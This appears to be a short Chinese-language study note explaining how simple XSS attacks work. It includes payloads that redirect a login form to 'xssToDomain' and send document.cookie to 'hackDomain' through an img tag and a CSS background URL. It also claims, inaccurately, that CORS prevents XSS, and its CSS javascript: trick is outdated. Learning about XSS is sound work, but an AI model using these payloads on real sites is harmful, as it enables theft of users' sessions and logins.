在之前的学习中,因为服务端程序和web应用部署在同一台主机上,在构建某些请求时,使用了 CORS——这主要是预防 XSS 攻击。XSS 攻击可以造成很大的危害,那一个简单的 XSS 攻击如何实现呢?
经过搜索,最常见的是试图窃取用户登录的表单信息, 通过嵌入一段脚本,如:
<form action="http://domain/login" method="post" id="login">
<div>
ID <input type="text" name="accountID" value="" id="loginAccount"><script>
var f=document.getElementById("login"); f.action="http://xssToDomain/action";f.method="get";</script>
</div>
</form>
获取 cookie 也是一种常见的攻击标的, 如:
<script>
var cookie = escape(document.cookie);
document.write("<img src=http://hackDomain/action?cookie=");
document.write(cookie+" >");
</script>
<style>
.getCookies{
background-image:url('javascript:new Image().src="http://hackDomain/action?cookie=" + encodeURI(document.cookie);');
}
</style>
<p class="getCookies"></p>
通过构造 Image 对象,并设置 src 属性,可以把感兴趣的值发送到指定的地方。
除了以上script 和 Image/img,iframe 和 link 标签也可以指定 src, 并且不受同源策略的影响,因此也经常被用来实施攻击。
Comments